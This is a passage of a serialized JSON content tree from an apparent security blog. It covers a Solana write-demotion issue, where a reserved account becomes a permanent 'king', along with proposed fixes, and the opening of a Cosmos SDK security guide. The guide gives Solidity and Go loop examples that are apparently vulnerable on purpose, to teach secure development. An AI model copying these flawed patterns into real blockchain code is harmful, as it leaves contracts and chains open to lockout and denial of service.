ss":13593,"line":16486},[88575,88579,88583,88587,88591,88595,88599],{"type":25,"tag":271,"props":88576,"children":88577},{"style":14289},[88578],{"type":30,"value":33963},{"type":25,"tag":271,"props":88580,"children":88581},{"style":13598},[88582],{"type":30,"value":84631},{"type":25,"tag":271,"props":88584,"children":88585},{"style":13603},[88586],{"type":30,"value":359},{"type":25,"tag":271,"props":88588,"children":88589},{"style":13609},[88590],{"type":30,"value":38508},{"type":25,"tag":271,"props":88592,"children":88593},{"style":13625},[88594],{"type":30,"value":36022},{"type":25,"tag":271,"props":88596,"children":88597},{"style":13609},[88598],{"type":30,"value":36027},{"type":25,"tag":271,"props":88600,"children":88601},{"style":13625},[88602],{"type":30,"value":19267},{"type":25,"tag":271,"props":88604,"children":88605},{"class":13593,"line":16495},[88606],{"type":25,"tag":271,"props":88607,"children":88608},{"emptyLinePlaceholder":18},[88609],{"type":30,"value":16829},{"type":25,"tag":271,"props":88611,"children":88612},{"class":13593,"line":16744},[88613,88617,88621],{"type":25,"tag":271,"props":88614,"children":88615},{"style":13625},[88616],{"type":30,"value":36229},{"type":25,"tag":271,"props":88618,"children":88619},{"style":14289},[88620],{"type":30,"value":16877},{"type":25,"tag":271,"props":88622,"children":88623},{"style":13625},[88624],{"type":30,"value":33379},{"type":25,"tag":271,"props":88626,"children":88627},{"class":13593,"line":16761},[88628,88632,88636,88640,88644,88648,88652],{"type":25,"tag":271,"props":88629,"children":88630},{"style":14289},[88631],{"type":30,"value":33963},{"type":25,"tag":271,"props":88633,"children":88634},{"style":13598},[88635],{"type":30,"value":55353},{"type":25,"tag":271,"props":88637,"children":88638},{"style":13603},[88639],{"type":30,"value":359},{"type":25,"tag":271,"props":88641,"children":88642},{"style":13609},[88643],{"type":30,"value":36258},{"type":25,"tag":271,"props":88645,"children":88646},{"style":13625},[88647],{"type":30,"value":36022},{"type":25,"tag":271,"props":88649,"children":88650},{"style":13609},[88651],{"type":30,"value":36027},{"type":25,"tag":271,"props":88653,"children":88654},{"style":13625},[88655],{"type":30,"value":19267},{"type":25,"tag":271,"props":88657,"children":88658},{"class":13593,"line":16778},[88659],{"type":25,"tag":271,"props":88660,"children":88661},{"style":13625},[88662],{"type":30,"value":17058},{"type":25,"tag":26,"props":88664,"children":88665},{},[88666,88668,88674,88676,88682],{"type":30,"value":88667},"This works fine — until one day, ",{"type":25,"tag":264,"props":88669,"children":88671},{"className":88670},[],[88672],{"type":30,"value":88673},"old_king",{"type":30,"value":88675}," is silently demoted. Suddenly, the ",{"type":25,"tag":264,"props":88677,"children":88679},{"className":88678},[],[88680],{"type":30,"value":88681},"#[account(mut)]",{"type":30,"value":88683}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":25,"tag":2352,"props":88685,"children":88687},{"id":88686},"real-world-example-write-demotion-with-secp256r1_program",[88688,88690],{"type":30,"value":88689},"Real-World Example: Write-Demotion with ",{"type":25,"tag":264,"props":88691,"children":88693},{"className":88692},[],[88694],{"type":30,"value":88695},"secp256r1_program",{"type":25,"tag":26,"props":88697,"children":88698},{},[88699,88701,88706],{"type":30,"value":88700},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":25,"tag":264,"props":88702,"children":88704},{"className":88703},[],[88705],{"type":30,"value":88695},{"type":30,"value":88707},", a precompiled program gated behind a feature flag:",{"type":25,"tag":7764,"props":88709,"children":88711},{"className":13586,"code":88710,"language":13585,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[88712],{"type":25,"tag":264,"props":88713,"children":88714},{"__ignoreMap":7},[88715,88736,88756,88785],{"type":25,"tag":271,"props":88716,"children":88717},{"class":13593,"line":13594},[88718,88723,88727,88732],{"type":25,"tag":271,"props":88719,"children":88720},{"style":13609},[88721],{"type":30,"value":88722},"ReservedAccount",{"type":25,"tag":271,"props":88724,"children":88725},{"style":13603},[88726],{"type":30,"value":13617},{"type":25,"tag":271,"props":88728,"children":88729},{"style":13620},[88730],{"type":30,"value":88731},"new_pending",{"type":25,"tag":271,"props":88733,"children":88734},{"style":13625},[88735],{"type":30,"value":16609},{"type":25,"tag":271,"props":88737,"children":88738},{"class":13593,"line":11641},[88739,88744,88748,88752],{"type":25,"tag":271,"props":88740,"children":88741},{"style":13625},[88742],{"type":30,"value":88743},"    secp256r1_program",{"type":25,"tag":271,"props":88745,"children":88746},{"style":13603},[88747],{"type":30,"value":13617},{"type":25,"tag":271,"props":88749,"children":88750},{"style":13620},[88751],{"type":30,"value":16631},{"type":25,"tag":271,"props":88753,"children":88754},{"style":13625},[88755],{"type":30,"value":16636},{"type":25,"tag":271,"props":88757,"children":88758},{"class":13593,"line":14354},[88759,88764,88768,88773,88777,88781],{"type":25,"tag":271,"props":88760,"children":88761},{"style":13625},[88762],{"type":30,"value":88763},"    feature_set",{"type":25,"tag":271,"props":88765,"children":88766},{"style":13603},[88767],{"type":30,"value":13617},{"type":25,"tag":271,"props":88769,"children":88770},{"style":13625},[88771],{"type":30,"value":88772},"enable_secp256r1_precompile",{"type":25,"tag":271,"props":88774,"children":88775},{"style":13603},[88776],{"type":30,"value":13617},{"type":25,"tag":271,"props":88778,"children":88779},{"style":13620},[88780],{"type":30,"value":16631},{"type":25,"tag":271,"props":88782,"children":88783},{"style":13625},[88784],{"type":30,"value":16636},{"type":25,"tag":271,"props":88786,"children":88787},{"class":13593,"line":14391},[88788],{"type":25,"tag":271,"props":88789,"children":88790},{"style":13625},[88791],{"type":30,"value":16299},{"type":25,"tag":26,"props":88793,"children":88794},{},[88795,88797,88802,88804,88810],{"type":30,"value":88796},"Before the ",{"type":25,"tag":264,"props":88798,"children":88800},{"className":88799},[],[88801],{"type":30,"value":88772},{"type":30,"value":88803}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":25,"tag":264,"props":88805,"children":88807},{"className":88806},[],[88808],{"type":30,"value":88809},"secp256r1_program::id()",{"type":30,"value":88811}," as the king in a contract.",{"type":25,"tag":26,"props":88813,"children":88814},{},[88815,88817,88822],{"type":30,"value":88816},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":25,"tag":264,"props":88818,"children":88820},{"className":88819},[],[88821],{"type":30,"value":88809},{"type":30,"value":88823}," becomes the eternal king, and no one can dethrone it.",{"type":25,"tag":2352,"props":88825,"children":88827},{"id":88826},"fix-3-preventing-write-demotion-pitfalls",[88828],{"type":30,"value":88829},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":25,"tag":26,"props":88831,"children":88832},{},[88833,88835,88840],{"type":30,"value":88834},"Alright, let’s try to fix this ",{"type":25,"tag":10281,"props":88836,"children":88837},{},[88838],{"type":30,"value":88839},"yet another",{"type":30,"value":88841}," edge case — and hopefully close the book on it.",{"type":25,"tag":2352,"props":88843,"children":88845},{"id":88844},"attempt-1-block-known-reserved-accounts",[88846],{"type":30,"value":88847},"Attempt 1: Block Known Reserved Accounts",{"type":25,"tag":26,"props":88849,"children":88850},{},[88851],{"type":30,"value":88852},"One naive solution is to reject any known reserved account, for example:",{"type":25,"tag":7764,"props":88854,"children":88856},{"className":53471,"code":88855,"language":53473,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[88857],{"type":25,"tag":264,"props":88858,"children":88859},{"__ignoreMap":7},[88860,88868],{"type":25,"tag":271,"props":88861,"children":88862},{"class":13593,"line":13594},[88863],{"type":25,"tag":271,"props":88864,"children":88865},{"style":13625},[88866],{"type":30,"value":88867},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":25,"tag":271,"props":88869,"children":88870},{"class":13593,"line":11641},[88871],{"type":25,"tag":271,"props":88872,"children":88873},{"style":16187},[88874],{"type":30,"value":88875},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":25,"tag":26,"props":88877,"children":88878},{},[88879,88881,88886],{"type":30,"value":88880},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":25,"tag":264,"props":88882,"children":88884},{"className":88883},[],[88885],{"type":30,"value":88722},{"type":30,"value":88887}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":25,"tag":2352,"props":88889,"children":88891},{"id":88890},"attempt-2-use-a-pda-vault",[88892],{"type":30,"value":88893},"Attempt 2: Use a PDA Vault",{"type":25,"tag":26,"props":88895,"children":88896},{},[88897,88899,88904],{"type":30,"value":88898},"A more future-proof fix is to avoid ",{"type":25,"tag":38,"props":88900,"children":88901},{},[88902],{"type":30,"value":88903},"transferring lamports to arbitrary accounts",{"type":30,"value":88905}," altogether.",{"type":25,"tag":26,"props":88907,"children":88908},{},[88909],{"type":30,"value":88910},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":25,"tag":96,"props":88912,"children":88914},{"id":88913},"final-thoughts",[88915],{"type":30,"value":88916},"Final Thoughts",{"type":25,"tag":26,"props":88918,"children":88919},{},[88920],{"type":30,"value":88921},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":25,"tag":26,"props":88923,"children":88924},{},[88925],{"type":30,"value":88926},"We can safely transfer lamports to an account under the following conditions:",{"type":25,"tag":108,"props":88928,"children":88929},{},[88930,88935,88940],{"type":25,"tag":112,"props":88931,"children":88932},{},[88933],{"type":30,"value":88934},"It's not executable.",{"type":25,"tag":112,"props":88936,"children":88937},{},[88938],{"type":30,"value":88939},"Its balance, after the transfer, remains rent-exempt.",{"type":25,"tag":112,"props":88941,"children":88942},{},[88943],{"type":30,"value":88944},"It's not a reserved account.",{"type":25,"tag":26,"props":88946,"children":88947},{},[88948],{"type":30,"value":88949},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":25,"tag":15963,"props":88951,"children":88952},{},[88953],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":88955},[88956,88957,88958,88964],{"id":42127,"depth":11641,"text":42130},{"id":84338,"depth":11641,"text":84341},{"id":85445,"depth":11641,"text":85448,"children":88959},[88960,88961,88963],{"id":85451,"depth":14354,"text":85454},{"id":86138,"depth":14354,"text":88962},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":87443,"depth":14354,"text":87446},{"id":88913,"depth":11641,"text":88916},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":88969,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":88970,"description":88971,"date":88972,"author":88973,"image":88974,"isFeatured":18,"onBlogPage":18,"tags":88976,"body":88979,"_type":16004,"_id":102860,"_source":16006,"_file":102861,"_stem":102862,"_extension":16009},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":88975,"width":17,"height":17},"/posts/cosmos-security/title.png",[88977,88978],"cosmos-sdk","security",{"type":22,"children":88980,"toc":102838},[88981,88985,88990,88995,89001,89006,89011,89016,89277,89764,89783,89788,89793,89798,89804,89809,89844,89854,90360,90380,90393,90399,90404,90409,90650,90655,90663,90675,91037,91042,91047,91083,91092,91518,91539,91545,91565,91586,91605,91637,91649,91661,92315,92343,92352,92792,92819,92839,92844,92865,92914,92923,94155,94183,94189,94194,94199,94219,94506,94540,94721,94726,94731,94775,94784,95976,96227,96240,96246,96280,96285,96348,96353,96373,96392,96404,96423,97115,97120,97125,97153,97162,98047,98074,98080,98100,98105,98118,98292,98305,98396,98401,98409,98419,98569,98574,98594,98602,98607,99005,99017,99022,99063,99074,99094,99402,99407,100332,100344,100352,100357,101350,101355,101367,101387,101406,102319,102376,102482,102494,102499,102504,102532,102541,102767,102793,102806,102820,102824,102829,102834],{"type":25,"tag":96,"props":88982,"children":88983},{"id":42127},[88984],{"type":30,"value":42130},{"type":25,"tag":26,"props":88986,"children":88987},{},[88988],{"type":30,"value":88989},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":25,"tag":26,"props":88991,"children":88992},{},[88993],{"type":30,"value":88994},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":25,"tag":96,"props":88996,"children":88998},{"id":88997},"its-loopin-time",[88999],{"type":30,"value":89000},"It's Loopin' Time",{"type":25,"tag":26,"props":89002,"children":89003},{},[89004],{"type":30,"value":89005},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":25,"tag":26,"props":89007,"children":89008},{},[89009],{"type":30,"value":89010},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":25,"tag":26,"props":89012,"children":89013},{},[89014],{"type":30,"value":89015},"Here is a simple example for reference:",{"type":25,"tag":7764,"props":89017,"children":89019},{"code":89018,"language":17605,"meta":7,"className":17606,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[89020],{"type":25,"tag":264,"props":89021,"children":89022},{"__ignoreMap":7},[89023,89039,89056,89072,89094,89123,89144,89168,89189,89196,89217,89234,89251,89258,89270],{"type":25,"tag":271,"props":89024,"children":89025},{"class":13593,"line":13594},[89026,89030,89035],{"type":25,"tag":271,"props":89027,"children":89028},{"style":14289},[89029],{"type":30,"value":44489},{"type":25,"tag":271,"props":89031,"children":89032},{"style":13620},[89033],{"type":30,"value":89034}," sumWithStride",{"type":25,"tag":271,"props":89036,"children":89037},{"style":13625},[89038],{"type":30,"value":16609},{"type":25,"tag":271,"props":89040,"children":89041},{"class":13593,"line":11641},[89042,89047,89052],{"type":25,"tag":271,"props":89043,"children":89044},{"style":13609},[89045],{"type":30,"value":89046},"    uint64",{"type":25,"tag":271,"props":89048,"children":89049},{"style":13598},[89050],{"type":30,"value":89051}," start",{"type":25,"tag":271,"props":89053,"children":89054},{"style":13625},[89055],{"type":30,"value":14351},{"type":25,"tag":271,"props":89057,"children":89058},{"class":13593,"line":14354},[89059,89063,89068],{"type":25,"tag":271,"props":89060,"children":89061},{"style":13609},[89062],{"type":30,"value":89046},{"type":25,"tag":271,"props":89064,"children":89065},{"style":13598},[89066],{"type":30,"value":89067}," stride",{"type":25,"tag":271,"props":89069,"children":89070},{"style":13625},[89071],{"type":30,"value":14351},{"type":25,"tag":271,"props":89073,"children":89074},{"class":13593,"line":14391},[89075,89079,89084,89089],{"type":25,"tag":271,"props":89076,"children":89077},{"style":13609},[89078],{"type":30,"value":89046},{"type":25,"tag":271,"props":89080,"children":89081},{"style":13625},[89082],{"type":30,"value":89083},"[] ",{"type":25,"tag":271,"props":89085,"children":89086},{"style":14289},[89087],{"type":30,"value":89088},"memory",{"type":25,"tag":271,"props":89090,"children":89091},{"style":13598},[89092],{"type":30,"value":89093}," arr\n",{"type":25,"tag":271,"props":89095,"children":89096},{"class":13593,"line":14400},[89097,89101,89105,89110,89114,89119],{"type":25,"tag":271,"props":89098,"children":89099},{"style":13625},[89100],{"type":30,"value":14406},{"type":25,"tag":271,"props":89102,"children":89103},{"style":14289},[89104],{"type":30,"value":10331},{"type":25,"tag":271,"props":89106,"children":89107},{"style":16171},[89108],{"type":30,"value":89109}," returns",{"type":25,"tag":271,"props":89111,"children":89112},{"style":13625},[89113],{"type":30,"value":16213},{"type":25,"tag":271,"props":89115,"children":89116},{"style":13609},[89117],{"type":30,"value":89118},"uint64",{"type":25,"tag":271,"props":89120,"children":89121},{"style":13625},[89122],{"type":30,"value":27925},{"type":25,"tag":271,"props":89124,"children":89125},{"class":13593,"line":16406},[89126,89130,89135,89139],{"type":25,"tag":271,"props":89127,"children":89128},{"style":13609},[89129],{"type":30,"value":89046},{"type":25,"tag":271,"props":89131,"children":89132},{"style":13625},[89133],{"type":30,"value":89134}," idx ",{"type":25,"tag":271,"props":89136,"children":89137},{"style":13603},[89138],{"type":30,"value":1065},{"type":25,"tag":271,"props":89140,"children":89141},{"style":13625},[89142],{"type":30,"value":89143}," start;\n",{"type":25,"tag":271,"props":89145,"children":89146},{"class":13593,"line":16434},[89147,89151,89156,89160,89164],{"type":25,"tag":271,"props":89148,"children":89149},{"style":13609},[89150],{"type":30,"value":89046},{"type":25,"tag":271,"props":89152,"children":89153},{"style":13625},[89154],{"type":30,"value":89155}," sum ",{"type":25,"tag":271,"props":89157,"children":89158},{"style":13603},[89159],{"type":30,"value":1065},{"type":25,"tag":271,"props":89161,"children":89162},{"style":16187},[89163],{"type":30,"value":16190},{"type":25,"tag":271,"props":89165,"children":89166},{"style":13625},[89167],{"type":30,"value":16165},{"type":25,"tag":271,"props":89169,"children":89170},{"class":13593,"line":16447},[89171,89175,89180,89184],{"type":25,"tag":271,"props":89172,"children":89173},{"style":13609},[89174],{"type":30,"value":89046},{"type":25,"tag":271,"props":89176,"children":89177},{"style":13625},[89178],{"type":30,"value":89179}," end ",{"type":25,"tag":271,"props":89181,"children":89182},{"style":13603},[89183],{"type":30,"value":1065},{"type":25,"tag":271,"props":89185,"children":89186},{"style":13625},[89187],{"type":30,"value":89188}," arr.length;\n",{"type":25,"tag":271,"props":89190,"children":89191},{"class":13593,"line":16465},[89192],{"type":25,"tag":271,"props":89193,"children":89194},{"emptyLinePlaceholder":18},[89195],{"type":30,"value":16829},{"type":25,"tag":271,"props":89197,"children":89198},{"class":13593,"line":16486},[89199,89203,89208,89212],{"type":25,"tag":271,"props":89200,"children":89201},{"style":16171},[89202],{"type":30,"value":77488},{"type":25,"tag":271,"props":89204,"children":89205},{"style":13625},[89206],{"type":30,"value":89207}," (idx ",{"type":25,"tag":271,"props":89209,"children":89210},{"style":13603},[89211],{"type":30,"value":14307},{"type":25,"tag":271,"props":89213,"children":89214},{"style":13625},[89215],{"type":30,"value":89216}," end) {\n",{"type":25,"tag":271,"props":89218,"children":89219},{"class":13593,"line":16495},[89220,89225,89229],{"type":25,"tag":271,"props":89221,"children":89222},{"style":13625},[89223],{"type":30,"value":89224},"        sum ",{"type":25,"tag":271,"props":89226,"children":89227},{"style":13603},[89228],{"type":30,"value":81552},{"type":25,"tag":271,"props":89230,"children":89231},{"style":13625},[89232],{"type":30,"value":89233}," arr[idx];\n",{"type":25,"tag":271,"props":89235,"children":89236},{"class":13593,"line":16744},[89237,89242,89246],{"type":25,"tag":271,"props":89238,"children":89239},{"style":13625},[89240],{"type":30,"value":89241},"        idx ",{"type":25,"tag":271,"props":89243,"children":89244},{"style":13603},[89245],{"type":30,"value":81552},{"type":25,"tag":271,"props":89247,"children":89248},{"style":13625},[89249],{"type":30,"value":89250}," stride;\n",{"type":25,"tag":271,"props":89252,"children":89253},{"class":13593,"line":16761},[89254],{"type":25,"tag":271,"props":89255,"children":89256},{"style":13625},[89257],{"type":30,"value":16501},{"type":25,"tag":271,"props":89259,"children":89260},{"class":13593,"line":16778},[89261,89265],{"type":25,"tag":271,"props":89262,"children":89263},{"style":16171},[89264],{"type":30,"value":30111},{"type":25,"tag":271,"props":89266,"children":89267},{"style":13625},[89268],{"type":30,"value":89269}," sum;\n",{"type":25,"tag":271,"props":89271,"children":89272},{"class":13593,"line":16791},[89273],{"type":25,"tag":271,"props":89274,"children":89275},{"style":13625},[89276],{"type":30,"value":17058},{"type":25,"tag":7764,"props":89278,"children":89282},{"code":89279,"language":89280,"meta":7,"className":89281,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[89283],{"type":25,"tag":264,"props":89284,"children":89285},{"__ignoreMap":7},[89286,89306,89319,89331,89349,89356,89363,89383,89395,89402,89409,89444,89470,89491,89520,89550,89595,89672,89708,89715,89757],{"type":25,"tag":271,"props":89287,"children":89288},{"class":13593,"line":13594},[89289,89293,89298,89302],{"type":25,"tag":271,"props":89290,"children":89291},{"style":14289},[89292],{"type":30,"value":45869},{"type":25,"tag":271,"props":89294,"children":89295},{"style":13609},[89296],{"type":30,"value":89297}," MsgSumWithStrideParams",{"type":25,"tag":271,"props":89299,"children":89300},{"style":14289},[89301],{"type":30,"value":34271},{"type":25,"tag":271,"props":89303,"children":89304},{"style":13625},[89305],{"type":30,"value":16431},{"type":25,"tag":271,"props":89307,"children":89308},{"class":13593,"line":11641},[89309,89314],{"type":25,"tag":271,"props":89310,"children":89311},{"style":13598},[89312],{"type":30,"value":89313},"    Start",{"type":25,"tag":271,"props":89315,"children":89316},{"style":13609},[89317],{"type":30,"value":89318}," uint64\n",{"type":25,"tag":271,"props":89320,"children":89321},{"class":13593,"line":14354},[89322,89327],{"type":25,"tag":271,"props":89323,"children":89324},{"style":13598},[89325],{"type":30,"value":89326},"    Stride",{"type":25,"tag":271,"props":89328,"children":89329},{"style":13609},[89330],{"type":30,"value":89318},{"type":25,"tag":271,"props":89332,"children":89333},{"class":13593,"line":14391},[89334,89339,89344],{"type":25,"tag":271,"props":89335,"children":89336},{"style":13598},[89337],{"type":30,"value":89338},"    Arr",{"type":25,"tag":271,"props":89340,"children":89341},{"style":13625},[89342],{"type":30,"value":89343}," []",{"type":25,"tag":271,"props":89345,"children":89346},{"style":13609},[89347],{"type":30,"value":89348},"uint64\n",{"type":25,"tag":271,"props":89350,"children":89351},{"class":13593,"line":14400},[89352],{"type":25,"tag":271,"props":89353,"children":89354},{"style":13625},[89355],{"type":30,"value":17058},{"type":25,"tag":271,"props":89357,"children":89358},{"class":13593,"line":16406},[89359],{"type":25,"tag":271,"props":89360,"children":89361},{"emptyLinePlaceholder":18},[89362],{"type":30,"value":16829},{"type":25,"tag":271,"props":89364,"children":89365},{"class":13593,"line":16434},[89366,89370,89375,89379],{"type":25,"tag":271,"props":89367,"children":89368},{"style":14289},[89369],{"type":30,"value":45869},{"type":25,"tag":271,"props":89371,"children":89372},{"style":13609},[89373],{"type":30,"value":89374}," MsgSumWithStrideResponse",{"type":25,"tag":271,"props":89376,"children":89377},{"style":14289},[89378],{"type":30,"value":34271},{"type":25,"tag":271,"props":89380,"children":89381},{"style":13625},[89382],{"type":30,"value":16431},{"type":25,"tag":271,"props":89384,"children":89385},{"class":13593,"line":16447},[89386,89391],{"type":25,"tag":271,"props":89387,"children":89388},{"style":13598},[89389],{"type":30,"value":89390},"    Sum",{"type":25,"tag":271,"props":89392,"children":89393},{"style":13609},[89394],{"type":30,"value":89318},{"type":25,"tag":271,"props":89396,"children":89397},{"class":13593,"line":16465},[89398],{"type":25,"tag":271,"props":89399,"children":89400},{"style":13625},[89401],{"type":30,"value":17058},{"type":25,"tag":271,"props":89403,"children":89404},{"class":13593,"line":16486},[89405],{"type":25,"tag":271,"props":89406,"children":89407},{"emptyLinePlaceholder":18},[89408],{"type":30,"value":16829},{"type":25,"tag":271,"props":89410,"children":89411},{"class":13593,"line":16495},[89412,89417,89421,89426,89431,89435,89440],{"type":25,"tag":271,"props":89413,"children":89414},{"style":14289},[89415],{"type":30,"value":89416},"func",{"type":25,"tag":271,"props":89418,"children":89419},{"style":13625},[89420],{"type":30,"value":16213},{"type":25,"tag":271,"props":89422,"children":89423},{"style":13598},[89424],{"type":30,"value":89425},"ms ",{"type":25,"tag":271,"props":89427,"children":89428},{"style":13609},[89429],{"type":30,"value":89430},"msgServer",{"type":25,"tag":271,"props":89432,"children":89433},{"style":13625},[89434],{"type":30,"value":14406},{"type":25,"tag":271,"props":89436,"children":89437},{"style":13620},[89438],{"type":30,"value":89439},"SumWithStride",{"type":25,"tag":271,"props":89441,"children":89442},{"style":13625},[89443],{"type":30,"value":16609},{"type":25,"tag":271,"props":89445,"children":89446},{"class":13593,"line":16744},[89447,89452,89457,89461,89466],{"type":25,"tag":271,"props":89448,"children":89449},{"style":13598},[89450],{"type":30,"value":89451},"    goCtx",{"type":25,"tag":271,"props":89453,"children":89454},{"style":13609},[89455],{"type":30,"value":89456}," context",{"type":25,"tag":271,"props":89458,"children":89459},{"style":13625},[89460],{"type":30,"value":1860},{"type":25,"tag":271,"props":89462,"children":89463},{"style":13609},[89464],{"type":30,"value":89465},"Context",{"type":25,"tag":271,"props":89467,"children":89468},{"style":13625},[89469],{"type":30,"value":14351},{"type":25,"tag":271,"props":89471,"children":89472},{"class":13593,"line":16761},[89473,89478,89482,89487],{"type":25,"tag":271,"props":89474,"children":89475},{"style":13598},[89476],{"type":30,"value":89477},"    msg",{"type":25,"tag":271,"props":89479,"children":89480},{"style":13603},[89481],{"type":30,"value":22940},{"type":25,"tag":271,"props":89483,"children":89484},{"style":13609},[89485],{"type":30,"value":89486},"MsgSumWithStrideParams",{"type":25,"tag":271,"props":89488,"children":89489},{"style":13625},[89490],{"type":30,"value":14351},{"type":25,"tag":271,"props":89492,"children":89493},{"class":13593,"line":16778},[89494,89499,89503,89508,89512,89516],{"type":25,"tag":271,"props":89495,"children":89496},{"style":13625},[89497],{"type":30,"value":89498},") (",{"type":25,"tag":271,"props":89500,"children":89501},{"style":13603},[89502],{"type":30,"value":17702},{"type":25,"tag":271,"props":89504,"children":89505},{"style":13609},[89506],{"type":30,"value":89507},"MsgSumWithStrideResponse",{"type":25,"tag":271,"props":89509,"children":89510},{"style":13625},[89511],{"type":30,"value":44},{"type":25,"tag":271,"props":89513,"children":89514},{"style":13609},[89515],{"type":30,"value":27985},{"type":25,"tag":271,"props":89517,"children":89518},{"style":13625},[89519],{"type":30,"value":27925},{"type":25,"tag":271,"props":89521,"children":89522},{"class":13593,"line":16791},[89523,89528,89533,89538,89542,89546],{"type":25,"tag":271,"props":89524,"children":89525},{"style":13598},[89526],{"type":30,"value":89527},"    sum",{"type":25,"tag":271,"props":89529,"children":89530},{"style":13603},[89531],{"type":30,"value":89532}," :=",{"type":25,"tag":271,"props":89534,"children":89535},{"style":13609},[89536],{"type":30,"value":89537}," uint64",{"type":25,"tag":271,"props":89539,"children":89540},{"style":13625},[89541],{"type":30,"value":394},{"type":25,"tag":271,"props":89543,"children":89544},{"style":16187},[89545],{"type":30,"value":953},{"type":25,"tag":271,"props":89547,"children":89548},{"style":13625},[89549],{"type":30,"value":16299},{"type":25,"tag":271,"props":89551,"children":89552},{"class":13593,"line":16800},[89553,89558,89562,89566,89570,89574,89578,89582,89586,89591],{"type":25,"tag":271,"props":89554,"children":89555},{"style":13598},[89556],{"type":30,"value":89557},"    end",{"type":25,"tag":271,"props":89559,"children":89560},{"style":13603},[89561],{"type":30,"value":89532},{"type":25,"tag":271,"props":89563,"children":89564},{"style":13609},[89565],{"type":30,"value":89537},{"type":25,"tag":271,"props":89567,"children":89568},{"style":13625},[89569],{"type":30,"value":394},{"type":25,"tag":271,"props":89571,"children":89572},{"style":13620},[89573],{"type":30,"value":22261},{"type":25,"tag":271,"props":89575,"children":89576},{"style":13625},[89577],{"type":30,"value":394},{"type":25,"tag":271,"props":89579,"children":89580},{"style":13598},[89581],{"type":30,"value":71061},{"type":25,"tag":271,"props":89583,"children":89584},{"style":13625},[89585],{"type":30,"value":1860},{"type":25,"tag":271,"props":89587,"children":89588},{"style":13598},[89589],{"type":30,"value":89590},"Arr",{"type":25,"tag":271,"props":89592,"children":89593},{"style":13625},[89594],{"type":30,"value":32833},{"type":25,"tag":271,"props":89596,"children":89597},{"class":13593,"line":16823},[89598,89602,89607,89611,89616,89620,89625,89629,89634,89638,89643,89647,89651,89655,89659,89663,89668],{"type":25,"tag":271,"props":89599,"children":89600},{"style":16171},[89601],{"type":30,"value":16174},{"type":25,"tag":271,"props":89603,"children":89604},{"style":13598},[89605],{"type":30,"value":89606}," idx",{"type":25,"tag":271,"props":89608,"children":89609},{"style":13603},[89610],{"type":30,"value":89532},{"type":25,"tag":271,"props":89612,"children":89613},{"style":13598},[89614],{"type":30,"value":89615}," msg",{"type":25,"tag":271,"props":89617,"children":89618},{"style":13625},[89619],{"type":30,"value":1860},{"type":25,"tag":271,"props":89621,"children":89622},{"style":13598},[89623],{"type":30,"value":89624},"Start",{"type":25,"tag":271,"props":89626,"children":89627},{"style":13625},[89628],{"type":30,"value":30349},{"type":25,"tag":271,"props":89630,"children":89631},{"style":13598},[89632],{"type":30,"value":89633},"idx",{"type":25,"tag":271,"props":89635,"children":89636},{"style":13603},[89637],{"type":30,"value":21839},{"type":25,"tag":271,"props":89639,"children":89640},{"style":13598},[89641],{"type":30,"value":89642}," 